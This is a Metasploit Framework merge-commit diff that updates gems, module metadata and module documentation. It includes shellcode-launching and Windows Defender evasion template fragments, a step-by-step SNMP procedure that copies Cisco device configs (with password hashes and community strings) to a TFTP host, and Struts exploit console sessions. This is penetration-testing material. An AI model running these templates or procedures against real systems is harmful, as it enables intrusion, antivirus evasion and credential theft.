resolve confiict.

GSoC/Meterpreter_Web_Console
Green-m 2018-10-17 17:33:01 +08:00
commit 7b1b2198cb
No known key found for this signature in database
GPG Key ID: 7A4A0E684B5D6747
54 changed files with 1831 additions and 319 deletions

View File

@ -188,7 +188,7 @@ GEM
net-ssh (5.0.2)
network_interface (0.0.2)
nexpose (7.2.1)
nokogiri (1.8.4)
nokogiri (1.8.5)
mini_portile2 (~> 2.3.0)
octokit (4.12.0)
sawyer (~> 0.8.0, >= 0.5.3)
@ -234,7 +234,7 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (12.3.1)
rb-readline (0.5.5)
recog (2.1.24)
recog (2.1.26)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.13)
@ -290,7 +290,7 @@ GEM
rspec-mocks (~> 3.8.0)
rspec-core (3.8.0)
rspec-support (~> 3.8.0)
rspec-expectations (3.8.1)
rspec-expectations (3.8.2)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-mocks (3.8.0)

View File

@ -72,5 +72,6 @@ function ShellCodeExec()
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
try{
ShellCodeExec();
}catch(e){}

View File

@ -141,8 +141,9 @@
var objShell = new ActiveXObject("WScript.shell");
var js_f = path + "\\\\<%= fname %>.js";
var ex = path + "\\\\<%= fname %>.exe";
var platform = "/platform:<%= arch %>";
objShell.run(comPath + " /out:" + ex + " " + js_f);
objShell.run(comPath + " /out:" + ex + " " + platform + " /t:winexe "+ js_f, 0);
while(!fso.FileExists(ex)) { }
objShell.run(ex, 0);

View File

@ -5953,7 +5953,7 @@
"Patrick DeSantis <p@t-r10t.com>",
"K. Reid Wightman <reid@revics-security.com>"
],
"description": "The Moxa protocol listens on 4800/UDP and will respond to broadcast\n or direct traffic. The service is known to be used on Moxa devices\n in the NPort, OnCell, and MGate product lines. Many devices with\n firmware versions older than 2017 or late 2016 allow admin credentials\n and SNMP read and read/write community strings to be retrieved without\n authentication.\n\n This module is the work of Patrick DeSantis of Cisco Talos K. Reid\n Wightman.\n\n Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5,\n and NPort 5110 firmware 2.6.",
"description": "The Moxa protocol listens on 4800/UDP and will respond to broadcast\n or direct traffic. The service is known to be used on Moxa devices\n in the NPort, OnCell, and MGate product lines. Many devices with\n firmware versions older than 2017 or late 2016 allow admin credentials\n and SNMP read and read/write community strings to be retrieved without\n authentication.\n\n This module is the work of Patrick DeSantis of Cisco Talos and K. Reid\n Wightman.\n\n Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5,\n and NPort 5110 firmware 2.6.",
"references": [
"CVE-2016-9361",
"BID-85965",
@ -5973,7 +5973,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-10-10 17:56:17 +0000",
"path": "/modules/auxiliary/admin/scada/moxa_credentials_recovery.rb",
"is_install_path": true,
"ref_name": "admin/scada/moxa_credentials_recovery",
@ -43470,7 +43470,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-09-01 02:40:26 +0000",
"path": "/modules/encoders/x86/countdown.rb",
"is_install_path": true,
"ref_name": "x86/countdown",
@ -43563,7 +43563,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-08-30 01:22:24 +0000",
"path": "/modules/encoders/x86/nonalpha.rb",
"is_install_path": true,
"ref_name": "x86/nonalpha",
@ -43849,7 +43849,7 @@
"targets": [
"Microsoft Windows"
],
"mod_time": "2018-10-06 16:04:07 +0000",
"mod_time": "2018-10-11 17:38:47 +0000",
"path": "/modules/evasion/windows/windows_defender_js_hta.rb",
"is_install_path": true,
"ref_name": "windows/windows_defender_js_hta",
@ -52514,7 +52514,7 @@
"targets": [
"Auto"
],
"mod_time": "2018-02-05 04:48:52 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/abrt_raceabrt_priv_esc",
@ -52561,7 +52561,7 @@
"targets": [
"Auto"
],
"mod_time": "2018-09-17 22:29:20 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/af_packet_chocobo_root_priv_esc",
@ -52609,7 +52609,7 @@
"targets": [
"Auto"
],
"mod_time": "2018-05-17 18:43:27 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/af_packet_packet_set_ring_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/af_packet_packet_set_ring_priv_esc",
@ -52659,7 +52659,7 @@
"targets": [
"Auto"
],
"mod_time": "2018-01-27 03:15:06 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/apport_abrt_chroot_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/apport_abrt_chroot_priv_esc",
@ -52794,7 +52794,7 @@
"targets": [
"Auto"
],
"mod_time": "2018-08-27 13:11:22 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/bpf_sign_extension_priv_esc",
@ -52875,7 +52875,7 @@
"Linux x86",
"Linux x86_64"
],
"mod_time": "2017-08-28 20:17:58 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/desktop_privilege_escalation.rb",
"is_install_path": true,
"ref_name": "linux/local/desktop_privilege_escalation",
@ -52968,7 +52968,7 @@
"Linux x86",
"Linux x64"
],
"mod_time": "2018-09-15 18:54:45 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/glibc_ld_audit_dso_load_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/glibc_ld_audit_dso_load_priv_esc",
@ -53014,7 +53014,7 @@
"Linux x86",
"Linux x64"
],
"mod_time": "2018-09-15 18:54:45 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/glibc_origin_expansion_priv_esc",
@ -53060,7 +53060,7 @@
"targets": [
"Auto"
],
"mod_time": "2018-08-27 13:11:22 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/glibc_realpath_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/glibc_realpath_priv_esc",
@ -53221,7 +53221,7 @@
"targets": [
"Auto"
],
"mod_time": "2018-10-04 21:13:21 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/lastore_daemon_dbus_priv_esc",
@ -53265,7 +53265,7 @@
"targets": [
"Auto"
],
"mod_time": "2018-09-17 22:29:20 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/libuser_roothelper_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/libuser_roothelper_priv_esc",
@ -53308,7 +53308,7 @@
"targets": [
"Ubuntu"
],
"mod_time": "2017-08-28 20:17:58 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb",
"is_install_path": true,
"ref_name": "linux/local/netfilter_priv_esc_ipv4",
@ -53355,7 +53355,7 @@
"targets": [
"Auto"
],
"mod_time": "2018-09-15 18:54:45 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/network_manager_vpnc_username_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/network_manager_vpnc_username_priv_esc",
@ -53396,7 +53396,7 @@
"Linux x86",
"Linux x64"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-10-10 14:39:07 +0000",
"path": "/modules/exploits/linux/local/ntfs3g_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/ntfs3g_priv_esc",
@ -53438,7 +53438,7 @@
"CVE-2015-1328",
"CVE-2015-8660"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/overlayfs_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/overlayfs_priv_esc",
@ -53479,7 +53479,7 @@
"Linux x86",
"Linux x64"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/pkexec.rb",
"is_install_path": true,
"ref_name": "linux/local/pkexec",
@ -53561,7 +53561,7 @@
"targets": [
"Auto"
],
"mod_time": "2018-08-27 13:11:22 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/rds_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/rds_priv_esc",
@ -53606,7 +53606,7 @@
"targets": [
"Auto"
],
"mod_time": "2018-05-24 17:56:07 +0000",
"mod_time": "2018-10-10 14:39:07 +0000",
"path": "/modules/exploits/linux/local/recvmmsg_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/recvmmsg_priv_esc",
@ -53692,7 +53692,7 @@
"targets": [
"Linux x86"
],
"mod_time": "2018-04-10 11:15:42 +0000",
"mod_time": "2018-10-10 14:39:07 +0000",
"path": "/modules/exploits/linux/local/sock_sendpage.rb",
"is_install_path": true,
"ref_name": "linux/local/sock_sendpage",
@ -53733,7 +53733,7 @@
"targets": [
"Linux x86"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/sophos_wpa_clear_keys.rb",
"is_install_path": true,
"ref_name": "linux/local/sophos_wpa_clear_keys",
@ -53775,7 +53775,7 @@
"Linux x86",
"Linux x64"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/udev_netlink.rb",
"is_install_path": true,
"ref_name": "linux/local/udev_netlink",
@ -53823,7 +53823,7 @@
"targets": [
"Auto"
],
"mod_time": "2018-09-15 18:54:45 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/ufo_privilege_escalation.rb",
"is_install_path": true,
"ref_name": "linux/local/ufo_privilege_escalation",
@ -53867,7 +53867,7 @@
"Linux x86",
"Linux x64"
],
"mod_time": "2017-12-30 15:20:56 +0000",
"mod_time": "2018-10-10 14:12:29 +0000",
"path": "/modules/exploits/linux/local/vmware_alsa_config.rb",
"is_install_path": true,
"ref_name": "linux/local/vmware_alsa_config",
@ -53910,7 +53910,7 @@
"targets": [
"Automatic"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-10-10 14:35:34 +0000",
"path": "/modules/exploits/linux/local/vmware_mount.rb",
"is_install_path": true,
"ref_name": "linux/local/vmware_mount",
@ -53949,7 +53949,7 @@
"Command payload",
"Linux x86"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-10-10 14:39:07 +0000",
"path": "/modules/exploits/linux/local/zpanel_zsudo.rb",
"is_install_path": true,
"ref_name": "linux/local/zpanel_zsudo",
@ -65636,7 +65636,7 @@
"asoto-r7",
"wvu <wvu@metasploit.com>"
],
"description": "This module exploits a remote code execution vulnerability in Apache Struts\n version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed\n via an endpoint that makes use of a redirect action.\n\n Native payloads will be converted to executables and dropped in the\n server's temp dir. If this fails, try a cmd/* payload, which won't\n have to write to the disk.",
"description": "This module exploits a remote code execution vulnerability in Apache Struts\n version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed\n via an endpoint that makes use of a redirect action.\n\n Note that this exploit is dependant on the version of Tomcat running on\n the target. Versions of Tomcat starting with 7.0.88 currently don't\n support payloads larger than ~7.5kb. Windows Meterpreter sessions on\n Tomcat >=7.0.88 are currently not supported.\n\n Native payloads will be converted to executables and dropped in the\n server's temp dir. If this fails, try a cmd/* payload, which won't\n have to write to the disk.",
"references": [
"CVE-2018-11776",
"URL-https://lgtm.com/blog/apache_struts_CVE-2018-11776",
@ -65668,7 +65668,7 @@
"Windows",
"Linux"
],
"mod_time": "2018-09-07 14:48:33 +0000",
"mod_time": "2018-10-12 11:06:26 +0000",
"path": "/modules/exploits/multi/http/struts2_namespace_ognl.rb",
"is_install_path": true,
"ref_name": "multi/http/struts2_namespace_ognl",
@ -71552,6 +71552,59 @@
"notes": {
}
},
"exploit_solaris/local/rsh_stack_clash_priv_esc": {
"name": "Solaris RSH Stack Clash Privilege Escalation",
"full_name": "exploit/solaris/local/rsh_stack_clash_priv_esc",
"rank": 400,
"disclosure_date": "2017-06-19",
"type": "exploit",
"author": [
"Qualys Corporation",
"Brendan Coles"
],
"description": "This module exploits a vulnerability in RSH on unpatched Solaris\n systems which allows users to gain root privileges.\n\n The stack guard page on unpatched Solaris systems is of\n insufficient size to prevent collisions between the stack\n and heap memory, aka Stack Clash.\n\n This module uploads and executes Qualys' Solaris_rsh.c exploit,\n which exploits a vulnerability in RSH to bypass the stack guard\n page to write to the stack and create a SUID root shell.\n\n This module has offsets for Solaris versions 11.1 (x86) and\n Solaris 11.3 (x86).\n\n Exploitation will usually complete within a few minutes using\n the default number of worker threads (10). Occasionally,\n exploitation will fail. If the target system is vulnerable,\n usually re-running the exploit will be successful.\n\n This module has been tested successfully on Solaris 11.1 (x86)\n and Solaris 11.3 (x86).",
"references": [
"BID-99151",
"BID-99153",
"CVE-2017-1000364",
"CVE-2017-3629",
"CVE-2017-3630",
"CVE-2017-3631",
"EDB-42270",
"URL-http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-3629-3757403.html",
"URL-https://blog.qualys.com/securitylabs/2017/06/19/the-stack-clash",
"URL-https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt"
],
"is_server": true,
"is_client": false,
"platform": "Unix",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic",
"Solaris 11.1",
"Solaris 11.3"
],
"mod_time": "2018-09-18 17:38:59 +0000",
"path": "/modules/exploits/solaris/local/rsh_stack_clash_priv_esc.rb",
"is_install_path": true,
"ref_name": "solaris/local/rsh_stack_clash_priv_esc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"AKA": [
"Stack Clash",
"Solaris_rsh.c"
]
}
},
"exploit_solaris/lpd/sendmail_exec": {
"name": "Solaris LPD Command Execution",
"full_name": "exploit/solaris/lpd/sendmail_exec",
@ -84689,9 +84742,11 @@
"type": "exploit",
"author": [
"Julien Ahrens",
"Gabor Seljan"
"Gabor Seljan",
"bzyo",
"sinn3r <sinn3r@metasploit.com>"
],
"description": "This module exploits a stack-based buffer overflow vulnerability in\n GetGo Download Manager version 4.9.0.1982 and earlier, caused by an\n overly long HTTP response header.\n\n By persuading the victim to download a file from a malicious server, a\n remote attacker could execute arbitrary code on the system or cause\n the application to crash. This module has been tested successfully on\n Windows XP SP3.",
"description": "This module exploits a stack-based buffer overflow vulnerability in\n GetGo Download Manager version 5.3.0.2712 earlier, caused by an\n overly long HTTP response header.\n\n By persuading the victim to download a file from a malicious server, a\n remote attacker could execute arbitrary code on the system or cause\n the application to crash. This module has been tested successfully on\n Windows XP SP3.",
"references": [
"EDB-32132",
"OSVDB-103910",
@ -84709,9 +84764,11 @@
],
"targets": [
"Windows XP SP3"
"Automatic",
"4.9.0.1982 on Windows XP SP3",
"5.3.0.2712 on Windows XP SP3"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-10-15 15:25:55 +0000",
"path": "/modules/exploits/windows/browser/getgodm_http_response_bof.rb",
"is_install_path": true,
"ref_name": "windows/browser/getgodm_http_response_bof",
@ -99308,6 +99365,47 @@
"notes": {
}
},
"exploit_windows/fileformat/vlc_mkv": {
"name": "VLC Media Player MKV Use After Free",
"full_name": "exploit/windows/fileformat/vlc_mkv",
"rank": 500,
"disclosure_date": "2018-05-24",
"type": "exploit",
"author": [
"Eugene Ng - GovTech",
"Winston Ho - GovTech"
],
"description": "This module exploits a use after free vulnerability in\n VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of\n MKV files and affects both 32 bits and 64 bits.\n\n In order to exploit this, this module will generate two files:\n The first .mkv file contains the main vulnerability and heap spray,\n the second .mkv file is required in order to take the vulnerable code\n path and should be placed under the same directory as the .mkv file.\n\n This module has been tested against VLC v2.2.8. Tested with payloads\n windows/exec, windows/x64/exec, windows/shell/reverse_tcp,\n windows/x64/shell/reverse_tcp. Meterpreter payloads if used can\n cause the application to crash instead.",
"references": [
"CVE-2018-11529",
"URL-https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529",
"EDB-44979"
],
"is_server": true,
"is_client": false,
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"VLC 2.2.8 on Windows 10 x86",
"VLC 2.2.8 on Windows 10 x64"
],
"mod_time": "2018-10-10 12:22:47 +0000",
"path": "/modules/exploits/windows/fileformat/vlc_mkv.rb",
"is_install_path": true,
"ref_name": "windows/fileformat/vlc_mkv",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
}
},
"exploit_windows/fileformat/vlc_modplug_s3m": {
"name": "VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow",
"full_name": "exploit/windows/fileformat/vlc_modplug_s3m",

View File

@ -0,0 +1,47 @@
## Vulnerable Application
SIP is a signaling protocol for voice, and video typically associated with VOIP and typically used in commercial
phone systems. SIP and VOIP are gaining popularity with home and cellular voice/video calling systems as well.
This module scans the TCP port to identify what OPTIONS are available on the SIP service.
## Verification Steps
1. Start msfconsole
2. Do: ```use auxiliary/scanner/sip/options_tcp```
3. Do: ```set rhosts [ip]```
4. Do: ```run```
## Scenarios
### Cisco UC520
```
msf5 > use auxiliary/scanner/sip/options_tcp
msf5 auxiliary(scanner/sip/options_tcp) > set rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 auxiliary(scanner/sip/options_tcp) > run
[*] 2.2.2.2:5060 - 2.2.2.2:5060 tcp SIP/2.0 200 OK: {"Server"=>"Cisco-SIPGateway/IOS-12.x", "Allow"=>"INVITE, OPTIONS, BYE, CANCEL, ACK, PRACK, UPDATE, REFER, SUBSCRIBE, NOTIFY, INFO, REGISTER"}
[*] 2.2.2.2:5060 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Confirming using NMAP
Utilizing the [sip-methods](https://nmap.org/nsedoc/scripts/sip-methods.html) script
```
nmap --script=sip-methods -p 5060 2.2.2.2
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-11 15:44 EDT
Nmap scan report for 2.2.2.2
Host is up (0.0036s latency).
PORT STATE SERVICE
5060/tcp open sip
|_sip-methods: INVITE, OPTIONS, BYE, CANCEL, ACK, PRACK, UPDATE, REFER, SUBSCRIBE, NOTIFY, INFO, REGISTER
MAC Address: 00:1B:8F:AA:AA:AA (Cisco Systems)
```

View File

@ -0,0 +1,143 @@
## Vulnerable Application
Cisco IOS devices can be configured to back-up their running and startup configurations via SNMP.
This is a well [documented](https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html#copying_startup)
feature of IOS and many other networking devices, and is part of an administrator functionality.
A read-write community string is required, as well as a tftp server (metasploit includes one).
After the config has been copied, the SNMP paramters are deleted.
## Verification Steps
1. Enable SNMP with a read/write community string on IOS: `snmp-server community private rw`
2. Start msfconsole
3. Do: ```use auxiliary/scanner/snmp/cisco_config_tftp```
4. Do: ```set COMMUNITY [read-write snmp]```
5. Do: ```set rhosts [ip]```
6. Do: ```run```
## Options
**COMMUNITY**
The SNMP community string to use which must be read-write. Default is `public`.
## Scenarios
### Cisco UC520-8U-4FXO-K9 running IOS 12.4
```
msf5 > setg rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 > use auxiliary/scanner/snmp/cisco_config_tftp
msf5 auxiliary(scanner/snmp/cisco_config_tftp) > set community private
community => private
msf5 auxiliary(scanner/snmp/cisco_config_tftp) > run
[*] Starting TFTP server...
[*] Scanning for vulnerable targets...
[*] Trying to acquire configuration from 2.2.2.2...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Providing some time for transfers to complete...
[*] Incoming file from 2.2.2.2 - 2.2.2.2.txt 22831 bytes
[+] 2.2.2.2:161 MD5 Encrypted Enable Password: $1$TF.y$3E7pZ2szVvQw5JG8SDjNa1
[+] 2.2.2.2:161 Username 'cisco' with MD5 Encrypted Password: $1$DaqN$iP32E5WcOOui/H66R63QB0
[+] 2.2.2.2:161 SNMP Community (RO): public
[+] 2.2.2.2:161 SNMP Community (RW): private
[*] Shutting down the TFTP service...
[*] Auxiliary module execution completed
```
### Manual Interaction
This process can also be executed manually utilizing Metasploit's TFTP server.
Cisco's [documentation](https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html#copying_startup)
was utilized to create this process.
1. Start the TFTP server
```
msf5 > use auxiliary/server/tftp
msf5 auxiliary(server/tftp) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/tftp) >
[*] Starting TFTP server on 0.0.0.0:69...
[*] Files will be served from /tmp
[*] Uploaded files will be saved in /tmp
```
2. Execute the SNMP commands. An integer is required to group the requests together, `666` is used in this example.
```
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1
iso.3.6.1.4.1.9.9.96.1.1.1.1.2.666 = INTEGER: 1
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4
iso.3.6.1.4.1.9.9.96.1.1.1.1.3.666 = INTEGER: 4
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1
iso.3.6.1.4.1.9.9.96.1.1.1.1.4.666 = INTEGER: 1
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1"
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1"
iso.3.6.1.4.1.9.9.96.1.1.1.1.5.666 = IpAddress: 1.1.1.1
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config"
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config"
iso.3.6.1.4.1.9.9.96.1.1.1.1.6.666 = STRING: "backup_config"
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1
iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 1
```
3. At this point the config is transferring, we need to wait a few seconds. Lastly, we'll remove `666` from the system.
```
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6
iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 6
```
4. Confirm we have our config file
```
msf5 auxiliary(server/tftp) > ls -lah /tmp/backup_config
[*] exec: ls -lah /tmp/backup_config
-rw-r--r-- 1 root root 23K Oct 11 22:20 /tmp/backup_config
```
## Confirming using NMAP
Utilizing the [snmp-ios-config](https://nmap.org/nsedoc/scripts/snmp-ios-config.html) script
```
nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=:private 192.168.2.239
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-11 22:30 EDT
Nmap scan report for 192.168.2.239
Host is up (0.0034s latency).
PORT STATE SERVICE
161/udp open snmp
| snmp-ios-config:
| !
| ! Last configuration change at 18:01:46 PST Fri Jan 7 2000 by cisco
| ! NVRAM config last updated at 06:07:55 PST Tue Jan 4 2000 by cisco
| !
| version 12.4
| parser config cache interface
| no service pad
| service timestamps debug datetime msec
| service timestamps log datetime msec
| no service password-encryption
| service internal
| service compress-config
| service sequence-numbers
| !
| hostname UC520
...sip...
```

View File

@ -0,0 +1,49 @@
## Vulnerable Application
Cisco IOS devices can be configured to retrieve, via tftp, a file via SNMP.
This is a well [documented](https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html#copying_startup)
feature of IOS and many other networking devices, and is part of an administrator functionality.
A read-write community string is required, as well as a tftp server (metasploit includes one).
The file will be saved to `flash:`.
## Verification Steps
1. Enable SNMP with a read/write community string on IOS: `snmp-server community private rw`
2. Start msfconsole
3. Do: ```use auxiliary/scanner/snmp/cisco_upload_file```
4. Do: ```set COMMUNITY [read-write snmp]```
5. Do: ```set rhosts [ip]```
6. Do: ```set source [file]```
7. Do: ```run```
## Options
**COMMUNITY**
The SNMP community string to use which must be read-write. Default is `public`.
**SOURCE**
The location of the source file to be uploaded to the Cisco device.
## Scenarios
### Cisco UC520-8U-4FXO-K9 running IOS 12.4
```
msf5 > setg rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 > use auxiliary/scanner/snmp/cisco_upload_file
msf5 auxiliary(scanner/snmp/cisco_upload_file) > set source /tmp/backup_config2
source => /tmp/backup_config2
msf5 auxiliary(scanner/snmp/cisco_upload_file) > set community private
community => private
msf5 auxiliary(scanner/snmp/cisco_upload_file) > run
[*] Starting TFTP server...
[*] Copying file backup_config2 to 2.2.2.2...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Providing some time for transfers to complete...
[*] Shutting down the TFTP service...
[*] Auxiliary module execution completed
```

View File

@ -2,6 +2,12 @@ CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles nam
The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter.
Tomcat versions prior to 7.0.88 will provide output from the injected OGNL and require that we prepend some OGNL to set `allowStaticMethodAccess=true`. Versions starting at 7.0.88 do not provide OUTPUT from injected OGNL and will error if we attempt to modify `allowStaticMethodAccess`. The `ENABLE_STATIC` option is used to toggle behavior, and the `check` method fingerprints the correct version.
As a result of the lack of OGNL output, we currently cannot support large payloads (namely Windows Meterpreter payloads) on Tomcat versions >= 7.088. Future committers might consider compressing the windows/x64/meterpreter templates or implementing GZIP compression of payloads.
## Vulnerable Application
The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliabliy as a practice environment.
@ -68,7 +74,7 @@ msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
Confirm that check functionality works:
- [ ] Install the application using the steps above.
- [ ] Start msfconsole.
- [ ] Load the module: ```use exploit/multi/http/struts_namespace_rce```
- [ ] Load the module: ```use exploit/multi/http/struts_namespace_ognl```
- [ ] Set the RHOST.
- [ ] Set an invalid ACTION: ```set ACTION wrong.action```
- [ ] Confirm the target is *not* vulnerable: ```check```
@ -105,31 +111,31 @@ msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
Checking a vulnerable endpoint, as installed in the above steps:
```
msf > use exploit/multi/http/struts_namespace_rce
msf5 exploit(multi/http/struts_namespace_rce) > set RHOSTS 192.168.199.135
msf5 exploit(multi/http/struts_namespace_rce) > set RPORT 32771
msf5 exploit(multi/http/struts_namespace_rce) > set ACTION help.action
msf > use exploit/multi/http/struts_namespace_ognl
msf5 exploit(multi/http/struts_namespace_ognl) > set RHOSTS 192.168.199.135
msf5 exploit(multi/http/struts_namespace_ognl) > set RPORT 32771
msf5 exploit(multi/http/struts_namespace_ognl) > set ACTION help.action
ACTION => help.action
msf5 exploit(multi/http/struts_namespace_rce) > check
msf5 exploit(multi/http/struts_namespace_ognl) > check
[+] 192.168.199.135:32771 The target is vulnerable.
```
Running an arbitrary command on the above-described environment:
```
msf5 exploit(multi/http/struts_namespace_rce) > set VERBOSE true
msf5 exploit(multi/http/struts_namespace_rce) > set PAYLOAD cmd/unix/generic
msf5 exploit(multi/http/struts_namespace_ognl) > set VERBOSE true
msf5 exploit(multi/http/struts_namespace_ognl) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf5 exploit(multi/http/struts_namespace_rce) > set CMD hostname
msf5 exploit(multi/http/struts_namespace_ognl) > set CMD hostname
CMD => hostname
msf5 exploit(multi/http/struts_namespace_rce) > run
msf5 exploit(multi/http/struts_namespace_ognl) > run
